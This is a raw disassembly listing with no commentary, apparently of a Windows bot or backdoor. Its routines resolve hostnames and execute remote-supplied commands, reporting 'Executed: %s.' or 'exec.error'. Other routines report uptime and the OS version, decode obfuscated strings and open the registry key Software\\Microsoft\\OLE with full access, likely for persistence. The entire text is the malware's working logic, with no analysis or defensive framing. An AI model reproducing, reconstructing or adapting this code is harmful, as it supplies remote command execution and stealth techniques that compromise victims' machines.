mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_4051F4
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_4051F4: ; CODE XREF: sub_404C70+56Ej
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017E4
push eax
call near ptr 71AB2BF4h
nop
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_4052C7
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
call near ptr 71ABE479h
nop
mov edi, eax
test edi, edi
jz loc_4053A8
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017E4
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40540E
; ---------------------------------------------------------------------------
loc_4052C7: ; CODE XREF: sub_404C70+5CAj
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017E4
push eax
call near ptr 71AB4FD4h
nop
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053A8
mov ecx, [edi+0Ch]
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016AE
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4053A8: ; CODE XREF: sub_404C70+5E3j
; sub_404C70+694j
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017E4
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40540E: ; CODE XREF: sub_404C70+652j
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405431: ; CODE XREF: sub_404C70+50Fj
lea ecx, [edi+0BCDh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405522
lea ecx, [edi+9]
call sub_4017E4
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402022
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+188h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+190h+var_4], ebx
call sub_4019B5
add esp, 18h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60B5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E85
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405522: ; CODE XREF: sub_404C70+7D6j
lea ecx, [edi+0E23h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405690
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013D9
mov ecx, edi
mov ebx, eax
call sub_4013D9
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013D9
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_405673
lea ecx, [esp+178h+var_14C]
call sub_401424
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013D9
add eax, 2
mov ecx, esi
push eax
call sub_40146F
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015D7
lea ecx, [esp+178h+var_164]
call sub_401424
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017E4
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017E4
push eax
call near ptr 77C293C7h
nop
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_40562A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405648
; ---------------------------------------------------------------------------
loc_40562A: ; CODE XREF: sub_404C70+99Dj
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405648: ; CODE XREF: sub_404C70+9B8j
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_40566E: ; CODE XREF: sub_404C70+1D4j
; sub_404C70+2AFj ...
call sub_401226
loc_405673: ; CODE XREF: sub_404C70+922j
; sub_404C70+C70j
xor al, al
loc_405675: ; CODE XREF: sub_404C70+6Fj
; sub_404C70+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_405690: ; CODE XREF: sub_404C70+8C7j
lea ecx, [edi+0C85h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405706
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F3C
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405706: ; CODE XREF: sub_404C70+A35j
lea ecx, [edi+0CE1h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4057F7
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E85
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019B5
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E6E85
mov [esp+178h+var_4], 1Ah
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60B5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4057F7: ; CODE XREF: sub_404C70+AABj
lea ecx, [edi+0CB3h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4058CB
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_40585F
mov ebx, 7
loc_40585F: ; CODE XREF: sub_404C70+BE8j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40194C
push offset byte_446F70
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058B4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
loc_4058B4: ; CODE XREF: sub_404C70+C17j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4058CB: ; CODE XREF: sub_404C70+B9Cj
lea ecx, [edi+0DF5h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405673
lea ecx, [esp+178h+var_100]
call sub_401424
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019B5
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A87
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_50F75C
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019B5
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017E4
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2970000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_50F738
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017E4
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017E4
mov ebp, dword_50F764
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017E4
push eax
call sub_4015FA
sub_404C70 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh
dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3EAECAE8h
dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h
dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh
dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
dd 50FFFFBAh, 0ACCDE890h, 548D023Eh, 4C8D1024h, 68527824h
dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h
dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h
dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch
dd 9050FFFFh, 3EAD8AE8h, 6A006A02h, 6A186A05h, 6A4E6A05h
dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h
dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
dd 23EAB87h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
dd 3EAC46E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh
dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h
dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh
dd 44244C8Dh, 0FFB84CE8h, 48E850FFh, 90023EAAh, 10244C8Dh
dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h
dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h
dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h
dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
dd 4AE84C24h, 50FFFFBDh, 0AAF9E890h, 6A023Eh, 186A056Ah
dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh
dd 0F8E89050h, 8D023EA8h, 8D102454h, 5278244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h
dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
dd 0AE84C24h, 50FFFFBCh, 0A9B9E890h, 6A023Eh, 186A056Ah
dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
dd 0B8E89050h, 8D023EA7h, 8D102444h, 5078244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h
dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch
dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh
dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4066E0 proc near ; CODE XREF: sub_40194Cj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4066E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_401424
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406731
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_4020F4
mov [esp+38h+var_28], ebp
jmp loc_4067D7
; ---------------------------------------------------------------------------
loc_406731: ; CODE XREF: sub_4066E0+3Aj
nop
call near ptr 27F0769h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_4067C3
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014C9
jmp short loc_4067D3
; ---------------------------------------------------------------------------
loc_4067C3: ; CODE XREF: sub_4066E0+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
loc_4067D3: ; CODE XREF: sub_4066E0+E1j
mov [esp+38h+var_28], ebp
loc_4067D7: ; CODE XREF: sub_4066E0+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_4066E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406850: ; CODE XREF: ___:00401668j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_446F70
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401861
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406890 proc near ; CODE XREF: sub_401F3Cj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_406890
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_401424
mov [esp+1A4h+var_4], 1
nop
call near ptr 27F0769h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2840000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
nop
call near ptr 2830000h
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40695E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406946
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406936
mov ebp, offset a95 ; "95"
jmp loc_4069D1
; ---------------------------------------------------------------------------
loc_406936: ; CODE XREF: sub_406890+9Aj
cmp eax, 2
jnz loc_4069CD
mov ebp, offset aNt ; "NT"
jmp short loc_40699A
; ---------------------------------------------------------------------------
loc_406946: ; CODE XREF: sub_406890+8Ej
cmp eax, 0Ah
jnz short loc_406952
mov ebp, offset a98 ; "98"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406952: ; CODE XREF: sub_406890+B9j
cmp eax, 5Ah
jnz short loc_40698B
mov ebp, offset aMe ; "ME"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_40695E: ; CODE XREF: sub_406890+83j
cmp eax, 5
jnz short loc_40698B
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406975
mov ebp, offset a2000 ; "2000"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406975: ; CODE XREF: sub_406890+DCj
cmp eax, 1
jnz short loc_406981
mov ebp, offset aXp ; "XP"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406981: ; CODE XREF: sub_406890+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_406990
loc_40698B: ; CODE XREF: sub_406890+C5j
; sub_406890+D1j
mov ebp, offset a??? ; "???"
loc_406990: ; CODE XREF: sub_406890+C0j
; sub_406890+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_4069D1
loc_40699A: ; CODE XREF: sub_406890+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_4069D1
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
call sub_5EE1E5
nop
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_4069D1
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406890+A9j
mov ebp, [esp+1A4h+var_198]
loc_4069D1: ; CODE XREF: sub_406890+A1j
; sub_406890+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
call near ptr 2820000h
nop
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
call near ptr 2950000h
nop
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
